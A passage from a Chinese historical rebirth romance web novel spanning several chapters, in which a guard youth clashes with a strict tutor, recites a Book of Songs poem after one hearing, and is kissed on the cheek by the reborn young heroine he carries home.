这才第一堂课,便不尊不敬,目无师长,往后若真教他个三年五载的,他不得被活活气死,早早短命亡故了?! 早知道教书育人也这般劳心伤神,还不如留在那混沌官场里和那帮狗官继续勾心斗角下去! 一瞬间许夫子什么委屈事都想起来了。 “自来你乔家,还未有过学生顶撞之事,便是最最顽劣不堪的二公子,也素来俯首帖耳,惟命是从。” 角落里的乔良:?? 好端端的,提他作甚。 许夫子继续道:“怎料你这小子,初入学堂便如此桀骜,若不加以管束,往后还能得了?” 众人听至此处,脸色皆是一变。 见他果然从书本中抽出一戒尺,众人皆抽了一口冷气,隐隐躁动不安起来。 这东西他们都受过,饶是最勤恳的四哥,也被戒尺打过。 乔良不敢吭声,生怕夫子的火气烧到自己身上,把身子缩到前排乔誉的身后,将自己完全遮掩住。 乔誉则冷眼旁观这一切,一副事不关己的模样,见实在索然无味,又低下头,慢悠悠地翻书看。 施芊看看夫子,又看看少年,眨了下眼睛,手托着腮,好整以暇地看起热闹来。 唯有乔姝月顿时白了脸色。 她试图插话,可又怕自己求情会火上浇油,急得眼圈更红,可怜巴巴地望向少年。 谢昭凌心头烦躁更盛。 若非她事先叮嘱,莫要再起冲突,他定然—— 少年缓缓吐出一口郁气。 罢了。 他缓缓起身,走到夫子的面前。 “伸出手来。” 夫子严肃道。 “别——” 乔姝月叫了声。 听到她的声音,谢昭凌分神看去,见她担忧不已,他微微弯了下唇角,想要告诉她无妨,只是挨几下而已,他又不是没挨过打。只要挨上几下,让夫子出了气,他就不会再为难。 结果就在他久久不动时,许夫子以为他又在违逆在反抗,怒不可遏,拿着戒尺的那只手朝着少年挥去。 “啪——!!” 说时迟,那时快。 少年头都未转回来,后脑长了一只眼似得,手本能地飞快抬起,抓住挥来的戒尺。 许夫子猝不及防,被他的力道拽一踉跄,愣在原地。 而后便听得“咔嚓”一声。 戒尺,断成了两节。 一半握在谢昭凌手里,一半因为夫子手麻没拿稳,掉在了地上。 屋中寂静得吓人。 连院中的穿堂风都安静了下来。 乔姝月捂住嘴巴,错愕地看着他们。她慌乱间,扶着桌子再度要站起来,太过心急没有站稳,不慎用伤脚抵了下地面。 钻心的疼直冲头顶,她闷哼一声,就要往旁边栽去。 施芊惊呼了一声,正要起身去扶。 只见余光一道黑影疾速闪过。 谢昭凌几步到乔姝月的身边,张开双手,将人稳稳接在怀里。 乔姝月诧异抬眸,对上他不再平静的目光,又低下头,看向他手中。 他另一手中还拿着那半截戒尺。 乔姝月:“……” 谢昭凌扶着她到一旁,抓着她的手腕,让她扶在一旁的柱子上,才退开半步,看向神情呆滞的许夫子。 “是它太不结实了。” 谢昭凌试图解释。 许夫子捡起地上那半截戒尺,怒目而视,“你还狡辩?!” 他用了快十年的戒尺啊……啊!! 谢昭凌低着头,走上前,将另半截双手奉上,“抱歉。” 许夫子深吸了口气,心中默念好几遍圣人言,他为人师表,当宽容大度。 这场闹剧便到此为止吧。 他忍耐着脾气,“罢了,去站着听。” 谢昭凌道了声“是”,默默转身。 除了夫子,屋中其余人的目光都落在少年身上。 看着他回到首位,看着他弯腰拿书,看着他再直起身,径直走到了乔姝月的身边站定。 乔良:? 乔誉:“……” 施芊:“哇!” 站着听,就是站到主子身边听? 许夫子听到动静抬头。 细长的眼睛顿时瞪成一双牛眼。 为人师长的权威被再三挑衅,蹬鼻子上脸,险些将许惊朔气到昏厥。 “……竖子尔敢如此放肆!!” 习惯性拿起戒尺,看到那两截残肢,悲愤地怒吼了一声,扔到一旁。 环顾左右,抄起角落立着的扫帚。 目眦欲裂,朝少年扑去。 40-50 第41章 【41】 “夫子!” 众人惊呼着,一拥而上。 乔良冲得最快,一把抱住许惊朔的腰,拼命把人往后拖,“夫子息怒,息怒啊!” 棍棒无眼,这要是打着他妹妹可如何使得。 乔良横了谢昭凌一眼,这小子也是,怎的听不懂话?夫子哪个字提月儿了?得空就往月儿身旁凑,面皮忒厚,真是活该被骂。 乱七八糟一通闹腾,再安静下来,已然又过去小半个时辰。 谢昭凌被责令坐回位置,不许再乱动乱看。 “我这是学堂!”许惊朔理了理衣裳,正了下发冠,狠狠剜一眼谢昭凌,“别把你们后院里那些规矩带到这儿来,都给我好好读书!” 说着,又瞪了一眼乔姝月,“还有你,是来读书的,不是来让人伺候的!” 小姑娘红着脸,憨憨笑了声,点点头。 许惊朔:“……” 嬉皮笑脸,三心二意,不成体统! 他板着脸,翻开书本,严肃道:“我们先来复习一下昨日所学,两位新来的学生先熟悉一下。” 他细长的眼缝里冒出锐利的光,挑剔地从在场学子身上一一扫过。 “二公子,来读一读我们昨日学的那首吧。” 乔良还沉浸在方才的闹剧里,开朗的大白牙还未收回,便猝不及防被点了名。 乔良怔愣间抬头,对上夫子骇人的目光,浑身打了个哆嗦。 瞬间包上牙齿,紧抿嘴唇,犹豫片刻,捧着书站了起来。 见他一副不知所措的模样,许惊朔心里冷哼了声。 幽幽发问:“知道是哪首吗?” 乔良牙齿打颤,“嗯?嗯……回夫子,是周南,卷耳。” 夫子点点头,将书放回案几,“那便开始吧。” 乔良咬牙道了声“是”,慢慢吸了口气,开始沉声朗读: “采采卷耳,不盈……顷筐。嗟,嗟我怀人,额……”乔良摸了摸额头的汗,磕磕巴巴,“唔彼周行。” 乔誉:“……” 施芊:“……” 乔姝月:? 好像有什么字被二哥吃了? 夫子背着手,踱步的脚步一停,额角突突跳,“寘彼周行!” “哦哦,我记起来了夫子!” “那你讲讲,寘当何解?” 乔良讪笑道:“啊……寘是……是……” 他挠了挠头,眼睛四处乱瞟,想着这个时候谁能看他一眼,给个提示啊! 老四真是铁石心肠,他都快把他后背盯穿了,都到这份上,他就是不回头!说好的兄弟情深呢! “施芊,你来说。” 被点名的小姑娘梳着双髻,衣着朴素,一双清澈的狐狸眸已让她初具美人坯子。 施芊站起身,嗓音清脆:“置,放下之意。” “嗯,不错,请坐。” 许惊朔早就知道乔二公子于学问上是什么德行,他今日生的气够多了,决定放过自己。 恨铁不成钢地冲乔良摆了下手,“坐下!四公子,你来继续读。” 乔良松了口气,有些失落,不过很快又释然,毕竟他素来有自知之明,知自己不是读书的料,也不去自怨自艾,折磨自己。 乔誉没有拿书,单手负在身后,站起身,张嘴就将早已烂熟于心的内容背了出来。 他嗓音温和徐缓,背诗时眼底亮起微光,是他平日里鲜少表露的专注与温柔。 “陟彼崔嵬,我马虺隤。我姑酌彼金罍,维以不永怀。”① “……” 片刻后,背诵完毕,乔誉慢慢坐下。 许夫子躁动了一早上的心,此刻得到了如泉水般温柔的抚慰。 他笑着夸赞:“背得不错,请坐。” 乔四公子已是他教书生涯中难得的好学生,那么被褚氏称赞的“好苗子”,又当如何? 许惊朔点了点眼皮子底下的少年,“记住了几句?” 谢昭凌下意识往身旁去看,恰与对面的小姑娘对上火热的视线,他又忙不迭转回头。 他低声回:“记住了一些。” “无妨,且读来听听。”许夫子鼓励道,“你没学过,读不下来也不打紧。” 一到正事上,许夫子便将先前的矛盾都忘到脑后了,期待地看向少年。 少年低低“嗯”了声,他感受到身侧那道灼灼目光,心中有些紧张。 “……” “陟彼砠矣,我马瘏矣。我仆痡矣,云何吁矣。”② 他毫无障碍地读完了全诗。 最后一字落下,半晌,许惊朔才回神。 心潮掀起惊天骇浪,久久难以平静。 他若没记错,褚氏说过这孩子先前是不识字的,连自己的名字都不会写。 来到乔府后,被罚抄过几遍弟子规,等抄完后便掌握了其中的内容,甚至还能说上几句释义。 当时许惊朔波澜不惊,没觉得有什么了不得的,一是因为弟子规比起其余的启蒙书,并不难理解,二是因他抄了那么许多遍,就算会了也并不稀奇。 但眼下情况得另当别论。 诗经中的字有一些晦涩难懂,乔良学过一遍尚且记不得,更别提少年才刚接触。 那他是怎么能在短短一刻之内,便能诵读全文的? 许夫子声音微颤,“这些字,你早都识得?” 谢昭凌摇头,“只是记下了四公子的话。” 短短时间内,叫他立刻全部学会,他还做不到。 许惊朔瞳孔微缩,背着手,又在堂中踱起步来。 只是听了一遍,便全记住。他认的不是字,而是过耳不忘,先记住听到的句子,再将句子与书本上的字一一对应。 许惊朔自认十五岁中举,十八岁中进士,已然超过常人百倍,他也做不到像这少年一样,只听一遍就能记下来。 他为官三载,教书九年,遇到过许多人,那形形色色的过客中,也未有如他这般聪慧过人的。 这脑子的确好使! 只是不知他是否还有过目不忘的本领。 许夫子满意地压了下手掌,“坐吧。” “我们再来学习一遍这首诗的意思,这是一首妻子思念远征丈夫的诗……” 所有人全神贯注在书本上,唯有乔姝月怔怔望着那一行字,失魂落魄。 “妻不断苦想,凄凄惶惶,一颗心随着丈夫飘远。” “行军途中人困马乏,丈夫也不禁想念着妻子,酒落愁肠相思泪。” “……” 乔姝月头忽然很痛。 她抬手捂住额头,伏在书案上,脑子里反复回现的,是前世陛下出征前的场景。 他那时应当已经察觉到些异样,不然不会说他心里慌,总放心不下她的话。 或许命运在那时便已有了昭示,在暗暗预兆,他们难以善终。 陛下出征仓促,两人皆是万分不舍,分别后的每个日夜,思念都深深刻入骨髓,与病痛一起,百般折磨着她。 他征战在外,想来亦如这诗中所写,在疲惫难熬时,于火堆旁,开一壶热酒,一边痛饮,一边思念着她。 这般想着,泪水慢慢沾湿了眼眶。 上天不公,凭何让他们这一对有情人过得这般凄惨? 还好,她还有重来一次的机会。 这首诗叫乔姝月感同身受,前世病入膏肓时的痛苦在此刻全都想起。 她趴在案上,眼睛是看着书的,夫子瞥她一眼,见她在学,便没纠正她懒散的坐姿。 倒是谢昭凌,一次目光落在她身上后,便再也挪不开了。 一堂课很快过去,快到了用午膳的时间。 夫子合上书,笑意盈盈地,朝着谢昭凌走去,想要问问他掌握了多少学识。 “孩子,你——” 他伸手,想拍拍少年的肩膀,话才起头,便见少年拧着眉,面色凝重,一个箭步冲到他主子的跟前。 夫子的手尴尬地僵停在半空,嘴角抽了抽。 谢昭凌半蹲在小姑娘身边,“怎么了?” 他忍了半堂课,终于能来看看她的情况。 乔姝月转过头。 四目相对,谢昭凌心脏蓦地一紧。 他看着小姑娘通红的眼睛,声音不自觉放轻,“是脚疼吗?” 看着面前这张过分年轻的脸,乔姝月心里酸涩更甚,她委屈地点了下头。 “我们回去,找大夫来。” 谢昭凌背过身去,回头看她一眼。 乔姝月吸了下鼻子,沉默地趴上去。 谢昭凌果断地抱住她的腿弯,利落背起人,片刻不停,如一阵风似得离开了学堂。 打算来关切一下学生、刚 璍 走到近前的、再度被忽视的许夫子:“……” 许夫子面色狰狞,对着那个空位,冷笑了声。 众人:“……” 他们离去得匆忙,东西都没带上,玉竹在后面帮他们整理学具。 回去的路上,只他们二人。 快到午时,路上行人稀少。 谢昭凌沿着夹道,疾速前行。 耳朵忽然被人拨弄了两下。 他的身体与感知一向都很敏锐,若是有旁人近身,立马会竖起防备,极快作出反击。 自打他不再排斥她的碰触、也只不排斥她以后,被乔姝月发现,他们之间的接触便一日比一日多了起来。 她时不时就要碰碰他的衣袖,摸摸他的肩膀。 耳朵还是头一回。 谢昭凌克制着声音:“课上发生了什么吗?” 为何上完学后,眼睛那么红。 小姑娘蔫嗒嗒地趴在他肩头,眼睫垂下,指尖有一下没一下地戳他的耳朵。 “只是觉着,那首卷耳,读起来实在缠绵又凄惶,一下子便感同身受了,你呢?” 谢昭凌偏了下头,躲过她的侵扰,喉结轻滚。 “未能体会。” 乔姝月有些失落,收回手,叹道:“是啊,你不知道……” 谢昭凌微微蹙眉,“何事?” “没,是我思虑过重罢了。” 今生是今生,前世是前世,是她分不开,才会徒生烦恼。 两辈子的谢昭凌也有极大的不同,她前世认识的并不是完整的他,如今这个才是。 “可是你又做了什么预知梦?” 谢昭凌停下脚步,回头望向肩上的她。 院墙之外,树影婆娑,疏影横斜。 光影倒映在谢昭凌的脸上。 乔姝月愣了下,有片刻失神,似乎在他的身上,又看到了前世的影子。 不知从何时起,他望着她的目光里终于不再是冷冰冰的漠视,而是充满七情六欲,有了丰富的色彩。 好比此刻,他幽深的眼中带了几分他都不曾察觉的忧色。 “若遇到棘手的事,可以说与我听,我会想办法。” 他不善言辞,更极少剖开心房,袒露心声。 他该有多担心她,才会说出这番话来? 乔姝月笑了,“你要同我一起分担吗?” 谢昭凌认真地望着她,“嗯,毕竟姑娘的秘密只有我知道。” 他们之间的关系,早已不似最初那般生分疏离。 一句话便叫乔姝月又红了眼眶。 她搂紧他的脖颈,靠上去,脸埋在他肩头,埋怨道:“什么都不懂,净胡乱说话。” 他说这些时心里定然什么旖旎心思都没有,可她却不能不多想,她心里本来就在爱着他,听了容易叫人误会的话,她如何能维持平静? 谢昭凌沉默下去,不知她是不是嫌他多事。 他紧了紧手,背着她继续前行。 “真的是脚痛吗?” “没有,骗你的。” “嗯。” 应过一声,脚步渐渐慢了下来。 两人无言,又行过一段距离。 小姑娘忽然开口:“如若有一日,你娶了妻……” “我不娶妻。” 他孑然一身,不牵连旁人。 谢昭凌几乎想都没想便回答,倒叫她不知该如何接话。 乔姝月停顿了会,又轻声问:“阿凌哥哥如今十五,就没遇到过喜欢的姑娘吗?” “没有。” 他不懂喜欢为何物,更从未尝过心动的感觉。 他生在人世十五载,有一半多的时间都在生与死之间苦苦挣扎,哪里会有那些多余的欲望。 不过说起心动…… 谢昭凌别扭地紧抿住唇。 倒是有个人总是能在他心上惹动一番波澜,可他觉得那不能叫做心动,心动二字沾了男女之情,他不会对个小姑娘有龌龊的心思。 更何况对小菩萨…… 他只有敬爱的份。 如天空中高悬的烈日,如黑夜里皎洁的明月,他只要私自仰望着便好,怎能奢求自己能腾云驾雾,将日月合拢于五指间呢。 这份心应当叫“衷心”吧。 如此想着,他心里松了一口气。转回头,再对上小菩萨那双动人的杏眼,心头又泛起微澜。 他别过头,平静道:“男女之事,索然无味。” 乔姝月:“……?” 说得就好像他体会过一样。 没想到前世会对她一见钟情、视她如珠如宝的陛下,幼时竟这般寡情薄意,不解风情。 谢昭凌觉得自己早见过各色各样的人与事,他从骨子里排斥那样扭曲又肮脏的关联。 一想到有个女人会碰触他的身体,他胸腔中就无法抑制地涌出一阵恶心的感觉,身体里的暴戾也再难压制,恨不能折断人的手脚才行。 他会这般排斥,缘由大概要追溯到才刚逃出来时,遇到过一个想要将他拐回山寨的女土匪。那女土匪放荡不羁,又蛮横无理,非要强迫他不可。他只得放火烧了她的寨子,才得以逃了出来。 一想到那女土匪看向自己的眼神。 谢昭凌想,自己辈子都不会想要经历情爱。 “你在想谁?” 乔姝月下巴抵住他肩膀,不高兴地质问道。 想起不愉快的事,谢昭凌周身泛起冷意,心不在焉道: “一个该死之人。” 那些土匪占山为王,烧杀抢掠,无恶不作,大概已经被官府剿了吧。 乔姝月:“……” 即将行出夹道时,乔姝月忽然拉了下他的衣襟。 谢昭凌回神,看向自己皱皱巴巴的前襟,无奈地弯了下唇,正预备开口。 一双软而清香的唇忽然压上了他的脸颊。 霎时间,心脏停跳。 只片刻,香软远离,可那震耳欲聋的心跳声却久久不歇。 谢昭凌慢慢回头。 乔姝月亦是大脑一片空白。 她做时全凭一腔冲动,等贴上后,身旁仿佛骤然炸开一簇烟火,热浪将她整个包裹,火焰经久不熄,烧灼着她面颊。 贴了一下便离开,而后对上少年乌润的眼。 她心中一动,又轻抬下巴,再次亲了亲他的脸颊。 速度并不快,谢昭凌却失去了躲避的能力。 只在第二下凑过来时,揽着她腿弯的手骤然收紧,在听到她痛哼声时,他又猛地松手。 望着小姑娘湿润又明亮的双眼,他垂着的眼倏地变暗,漆黑的眼神落在她脸上,喉结上下滚动两下。 乔姝月被他看得心肝乱颤,慌乱之下,口不择言: “阿凌哥哥,你胖了些。” 谢昭凌仍定定望着她,眼睛黑不见底,目光中似藏着隐忍,不知是否是在强压着什么的缘故,周身气势不自觉间带了股凌厉与霸道。 “真的,你胖了。” 乔姝月眨了眨眼睛。 大着胆子,手指戳了戳刚刚亲过的地方。 “软乎乎的。” 不似月余前,骨瘦如柴。 她戳完,又摸着自己的唇,回忆道:“嗯,果然很软。” 谢昭凌闭了下眼睛,蓦得转回头去。 尴尬与羞赧在二人之间蔓延。 拐出夹道,开始遇到三三两两的婢女。 谢昭凌背着人,冷着脸,穿行于游廊之中。 静默良久。 “陟彼砠矣,我马瘏矣。”乔姝月结巴着,“我仆……” “我仆”了半晌,身下人都没个动静。 她斜眼睨向那些个红着脸、欲语含羞望着他的婢女,发脾气般,戳了下他的肩膀。 “什么来着?我忘了。” 知她是没话找话,原本不打算理会。只不过此刻,人显然是要生气了。 明明先亲人的是她才对,好似她才是那个被人占了便宜受委屈的。 她并非忘词,而是故意想让他说话。 谢昭凌心知肚明。 谢昭凌没再回头,轻叹了声,把人往上背了背,纵容般,接了后半句。 “我仆痡矣,云何吁矣。” 对答如流。 但到底心还是乱了。 第42章 【42】 玉竹收拾好两个人的书篮,着急忙慌地跟了出来。 直到看不见人,许夫子才收回幽怨的目光,长叹了口气。他收拾好东西,先行走出了学堂。 许惊朔如今居于乔府西北角的院落,那里曾是乔老夫人的住处,老夫人故去后,很长一段时日都空着。许惊朔投奔乔府后,便独居于此。 那处清净,且旁开一临街角门,出入也方便。 褚氏给了他容身之所,他很是感激,于是尽心尽力教导乔府的孩子们。 每日上完课,他都会去同褚氏说一说孩子们的情况,今日他迫不及待想去同褚氏探讨新收的那个少年,于是他奔向主院的脚步都略显仓促。 没走出多远,便被人叫住。 许夫子回头,笑道:“四公子。” 乔誉快步上前,行了一弟子礼,而后与许夫子同行。 出了学堂,师生之间亲密了不少,许夫子亦随和了许多。 许夫子背着手,迟疑道:“那个少年,是叫谢……” 乔誉道:“谢昭凌。” “啊,昭凌,”夫子品了品字意,感慨道,“适合他。” 昭意为日光,而凌,其本意为冰,亦有侵进逼迫之意,与那少年的气质十分契合。 不知是谁帮他取的名字。 “夫子如何看他?” 许夫子沉吟片刻,笑道:“不错。” 乔誉看得出来,夫子表面严格,实则心中很是欣慰。 二人一路无话,拐至游廊间时,乔誉又忽然问道:“夫子以为,明年我可否参加科举?” 夫子一愣,微微仰头目视远方,“算起来明年你十四,是到了科考的年纪了。” “想考便去考,未必不能成。” 乔誉沉默良久,“嗯”了声。 “你的才学为师很是看好,想必你心中亦有成算。有此一问,是有何顾虑?” 不怪夫子疑惑,就连乔二每每为功课抓耳挠腮时,挂在嘴边的,也是“要是像老四一般有状元之才就好了”。 他们都很笃定,等他长大一些,就会像大哥一样,参加科考,入朝为官。 状元之才是没有的,乔誉不敢托大,但拼一拼乡试,闯一闯会试,并非异想天开。 乔誉沉默片刻,摇了摇头,只道:“学生自当努力。” 夫子闻言哈哈大笑,“说起来,为师近来讲的功课你早都会了,不必来听,平白耽误你温书的时间。” 乔誉笑了笑,认真道:“与夫子交流,收获颇丰,这课还是要来的。” 分别前,夫子语重心长道:“若你科考是为当官,为国为民,那你自可去闯出一片天。” “若你不想做官,只喜读书之乐,那倒不必如此忧虑,还太早了一些。” 二人停在主院门口,乔誉再度行了一礼,还未开口,遥见正房中忽然走出一人。 二人皆望了过去。 女子身段窈窕,如弱柳扶风,袅袅婷婷,步步生莲。 她面色苍白,似是病弱,走出门时手帕捂着唇,低低咳了起来。 许惊朔看清那女子面容,下意识看向乔誉。只见乔誉面无波澜,神态无改。 “姨娘慢些。” 妙荷将人一路送到院门口。 女子低声道谢,转身便对上那师生二人,皆是一愣。 许夫子低下头去,避嫌般又后退半步,客气道:“陈姨娘,许久不见,近来身子可还康泰?” 陈姨娘柔弱地笑了笑,“劳先生挂念,一切都好。” “先生授课辛苦,想来找夫人还有事,妾身这便不叨扰了。” 她一双美目又看向少年,眼底的思念与不舍遮掩不住。 从始至终,乔誉都低垂着眼睫,一语不发,见女子要走,他才恭恭敬敬行了个晚辈礼,轻声唤了声:“姨娘慢走。” 女子失落离去,许惊朔才抬头,望着背影,幽叹一声:“到底是你生母,不该如此生分。她久卧病榻,如今肯出门见人,你该多多前去探望。” 乔誉垂首,道了声“是”,转身离去。 当晚乔姝月将打劫来的十两银子留下一半,五两放到从谢昭凌那里抢来的钱袋里,剩下五两并自己的一些积蓄都给了紫棉,让她去结绸缎铺的欠账。 谢昭凌存银七两三钱,而她……零。 乔姝月叹了声,在榻上翻滚一圈。 自午后谢昭凌将她背回屋子,他就又躲了起来,不愿见她。 是她吓着他了? 乔姝月红着脸埋进被子,她又能如何呢?她实在克制不住。 先有那首诗挑动她的愁绪,后有那些小丫头们对着他含情脉脉,她如何受得了? “哎,还是太冲动,该忍住的。” 被子下面,小姑娘后悔地叹道。 若真因为那个亲吻,叫他又对自己疏远起来,那就得不偿失了。 在乔姝月悔不该当初时,离她不远处的西厢房中,李成洗漱完也躺到了榻上。 李成身体好,没一会功夫便困意来袭。昏昏欲睡之际,屋中忽然传来一声呼唤。 嗓音清冷,叫即将坠入梦乡的李成猛得一个激灵。 李成眨眨眼,是幻觉吗?怎么好像听到有人在叫他。 “……” “李成?” 李成猛得翻身,瞠目结舌:“你,你叫我??” 自从和谢昭凌同住以来,整整三个月了,他们未有一次在睡前闲聊的。 或者说,谢昭凌压根就没有搭理过他。 若说在被谢昭凌踹下来之前,李成还愿意上赶着和这位同寝谈天论地,亲近亲近。 那么自那日后,李成便彻底生不出一点招惹的心,毕竟踹那一脚真挺疼的。 今儿也不知怎么,破天荒的,谢昭凌竟想起来这屋里有另一个活人。 李成手肘撑着身子,眼巴巴地,“谢兄,你唤我何事啊?” 半晌,谢昭凌才开口。 他思忖良久,谨慎措辞:“你……家中可有兄弟姐妹?” 李成大大咧咧地回道:“有啊,家中有一兄一妹。” 大抵是憋久了,不等人继续问,李成自己倒了个干净:“兄长已娶亲,和他媳妇都在官老爷府上当差,妹妹如今九岁,和我爹娘一起生活。” 一听妹妹九岁,谢昭凌慢慢坐起身。 李成一愣,一骨碌也爬了起来。 什么意思,怎么坐起来了?难不成是他说错什么话,惹人心烦,要来打他了? 李成害怕地抱紧被子。 谢昭凌却没再动,他背靠墙壁,屈起一条腿,犹豫着又问道:“九岁……她……和你亲近吗?” 一提到妹妹,李成话就更密了。 他激动道:“当然亲,妹妹可黏人了!” “你也知道,咱们在府上当差,寻常时候是不能回去的,我也就只有逢年过节,才能有半日时间回去和家人团圆。” “逢除夕时,能在家待到初一,夜晚睡觉时妹妹就要黏着我一起睡,晚上央着我讲故事,一直要讲到深夜才肯睡去,”李成虽是在抱怨,眉梢眼角却都是幸福的滋味,“等到天亮,便又要抱着我的胳膊,哥哥哥哥地叫个不停。” “她往日贪睡,不到日上三竿都不起来,唯有我回去时,她晚上舍不得睡,白日又早早起。” “可惜……”李成闷闷不乐道,“陪伴妹妹的时光终究太短暂了。” “你与妹妹同、同榻而眠?!” 谢昭凌错愕地望着他。 李成挠了挠头,憨笑道:“是啊,所以说妹妹黏人嘛,不过她也才九岁,这倒无妨,等她到了十二三,那肯定是不成的。” 谢昭凌收拢五指,默默抓紧被子。 九岁无妨吗? 九岁与十岁无甚差别,那…… “你妹妹,也会,也会……”谢昭凌呼吸颤了颤,垂下眼眸,“会亲你的脸吗?” 他觉得难以启齿,但心里存着疑问,实在睡不着。 艰难地说出一个完整的问句,忐忑地等待李成的回答。 李成没有多想,朗声大笑道:“那当然会啊,每回到家,非得扑上来缠抱住你,亲得满脸口水才算完呢。” 谢昭凌抬手摸向脸颊,失神片刻,缓缓吐出一口气:“是吗……” 李成眼神怀念,叹了口气:“我妹妹小时候身体不好,所以我格外照顾她。记得有一回她哭闹着非要去摘山上桃林里的桃子,爹娘在农忙,就只有我能陪她。” “那日她不甚从树上掉下来,是我接住了她,才没叫她摔伤腿,后来她又说累了,叫我背她下山。”李成笑了笑,“等回到家,爹娘发现我的手骨受了伤,骂我怎么一声不吭地,任由妹妹胡闹。” “谢护卫,你能理解吗,妹妹是我看着长大的,我觉得我就算是死,也得把她护得严严实实,绝不能让她受一点伤害。我手臂一伤,就什么活儿都干不了了,那小丫头大概是被爹娘训怕了,照顾了我小半个月,还帮我干活。” “小小的人,拖着一个装满水的木桶,咬着牙把它提起来,倒进大缸,脸憋得通红,还要故作轻松,问我她厉不厉害。” “那一瞬间,我又觉得受点伤也没什么,只要她开心就好。” “她大概也知道这世上再没有比我还好的哥哥,所以越是长大,就同我越亲近,我们一母同胞,就是这个世界上最亲的亲人。” 谢昭凌听着他慷慨激昂的讲述,心思飘到很远。 他不禁将李成的每一句话都往自己身上联想。 李成接住掉落树下的妹妹。 而他将小菩萨从河中救出。 李成背着妹妹回家。 而他背着小菩萨上学。 李成的妹妹叫李成哥哥。 小菩萨也叫他阿凌哥哥。 “……” 这般看来,小菩萨应该是把他当哥哥来对待了吧。 李成心思粗,所以这些问题谢昭凌可以同他探讨。可乔家的那两位公子…… 不能问,问必出事。 谢昭凌摸着胸膛,感受着那颗剧烈跳动的心脏。 所以她会亲他的脸颊,应当也是像李成的妹妹一样,很依赖他这个哥哥吧。 “哎,同你说了会话,又开始想我的妹妹了。”李成感慨着,拢着被子躺回去。没一会功夫便呼呼大睡。 谢昭凌还靠在床头。 他双手撑头,十指深深没入发中。 李成睡前在思念妹妹,那他此刻会想着小菩萨,也是再正常不过了吧。 谢昭凌最后摸了摸脸颊,也翻身躺下。 第二天一早,谢昭凌没能起来。 他醒时李成已经不在屋中。 匆匆洗漱,塞了两口早饭,便背着主子去了学堂。 今天谢昭凌有意放慢脚步,所以玉竹一直跟在身边,乔姝月想和他说悄悄话都寻不到时机。 待入了学堂,夫子发现今日的少年乖觉勤勉,不再一心扑在主子身上,而是一心一意只看书本,顿觉欣慰。整堂课他都面带笑意,让众人如沐春风。 散学后,谢昭凌又主动提出与夫子同行。 于是乔姝月依旧没有和他单独相处的机会。 她趴在少年肩头,听着夫子高谈阔论,一声不敢吭。 等到终于与夫子分别,乔姝月立马从他肩膀上抬起头来,她凑到他耳边: “阿凌哥哥?” “……” “阿凌哥哥!” “……” 谢昭凌紧抿着唇,背着人,跑得飞快。 玉竹一眨眼,前面的两个人便没了踪影,她“哎”了一声,拎着书篮紧追上去。 回到木兰院,谢昭凌放下人,抬步便要离开。 乔姝月眼疾手快,一把拽住他衣角。 “谢护卫,今日学的你都会了吗?” 谢昭凌别过头,“嗯。” “那正好啊,我全都不会,你再教练我吧。”她说着自己先乐了,趴在桌上,一双星眸冲他俏皮地眨了下,“从前我教你识字,如今倒反过来了。” “姑娘可以去叫四公子来。” 不一定非要缠着他。 万一,万一她再…… 谢昭凌微微阖目,平复着呼吸。 他没有过妹妹,她不是他的亲妹妹,他们还是不能…… 乔姝月哼了声,“我不要问四哥,他总嫌我笨,嫌我背东西记得慢,和他说上一会话,我的自信心就全没了。” “大受打击,郁郁寡欢,这就是阿凌哥哥想看到的吗?” 谢昭凌睁开眼眸,定定望了她半晌。 “好吧。” 有了借口将人留下,却还是不能让他放下警惕。 乔姝月心中哀叹,这人啊,果真要时刻都规束自我,切不可因一时冲动,而乱了方寸。 这不,她就尝到苦果了。 谢昭凌一旦用心起来,就会变得面无表情,看上去比夫子还要严肃。 不过乔姝月不怕,她心不在焉地听着,脑子里想着对策。 谢昭凌忍耐着性子,讲到最后一段,终于按捺不住。 他抬手弹了她脑门一下。 小姑娘“嗷”得一声,捂住额头,委屈巴巴地看过来。 谢昭凌目光幽深,“还要我再讲第三遍吗?” “不不不,我记住了。” 乔姝月猛得摇头。 “那你说说,这一句是何意。” 乔姝月低头看去,对答如流。 她答完,又无辜地抬眸。 谢昭凌手按在书上,沉默良久。 他几乎可以确定,她上课有在听讲,并且此刻就是故意留下他来。 ——“妹妹可黏着我了,每一次都抱着胳膊,哥哥哥哥叫个不听。” 谢昭凌手抵上额头。 若真到那一日,他要如何离开? 他们毕竟不是亲兄妹。 还剩最后一截,也不讲了。 他合上书册,面色凝重地望着她。 乔姝月从他的眼睛里读出了认真,忽然心里慌乱不已。 手足无措间,解围的人来了。 玉竹捧着一筐核桃,跑了进来。 兴高采烈地:“姑娘!给你做核桃酥好不好?酥酥脆脆甜甜的,你肯定——” 话音未落,她眼前蹿过一道黑影。 在玉竹骤然放大的瞳孔中,倒映着她家主子慌乱的身影。 她家姑娘单腿一蹦一跳,一路跌跌撞撞朝她扑去。 玉竹惊呼一声,下意识松开手中竹筐,接住即将摔倒的主子。 在她不及反应的时间里。 乔姝月捧着她的脸,左左右右,上上下下,猛亲了好几口。 玉竹:“……?!!” 小姑娘一遍亲,一遍说:“玉竹你真好。” 亲一口,又哼哼唧唧说一句:“玉竹我怎么这么喜欢你哇。” 玉竹双目无神,被亲得灵魂出窍,手在空中虚抓了两下。 半晌,折磨人的“示爱”终于结束。 玉竹捧着被嘬得微红的脸颊,含羞带怯,跺了下脚,“姑娘你怎么这样。” 羞赧得跑开。 乔姝月抹了把嘴巴,回过头,可怜巴巴地望着他。 似是在说:你看啊,我对别人也一样的,甚至亲得更狠。 谢昭凌:“……” “你不许再躲我了,再躲我,就当你在欲擒故纵!” “欲擒故纵,我可是要上钩的。”小姑娘指着空荡荡的门口,恶狠狠地威胁,“就像刚刚那样。” 谢昭凌:“……” “你若不信,若是不信……”小姑娘扣了扣手指,委屈道,“那我再去叫紫棉来。” 再亲一回给你看。 谢昭凌:“……罢了。” 他捂住自己的两边脸颊,无奈又纵容地笑了声:“不躲你就是了。” 第43章 【43】 八月十五,中秋佳节。 一早起来,全院都喜气洋洋的。 今日夫子放了一日假,不用早起上学堂,乔姝月便多睡了一会,辰时醒来时,听玉竹说谢护卫还在院里练剑。 因为李成有半日假,昨晚下值后得了准许便直接回了家,剑他用不上,留在了乔府。谢昭凌便趁着李成不用,多练了一会。 乔姝月拥着被子揉眼睛,嘟囔了句:“原来打小就精力充沛。” 前世即便做了君王,谢昭凌也无一日松懈。 每日寅正起床练剑,卯时上朝,等散朝后还要同大臣商讨国事,忙碌一日直到亥时,才能休息。 刘妈妈将幔帐用 璍 竹钩挂起,面带慈祥的笑,“谢护卫只是喜欢李护卫的佩剑罢了。” 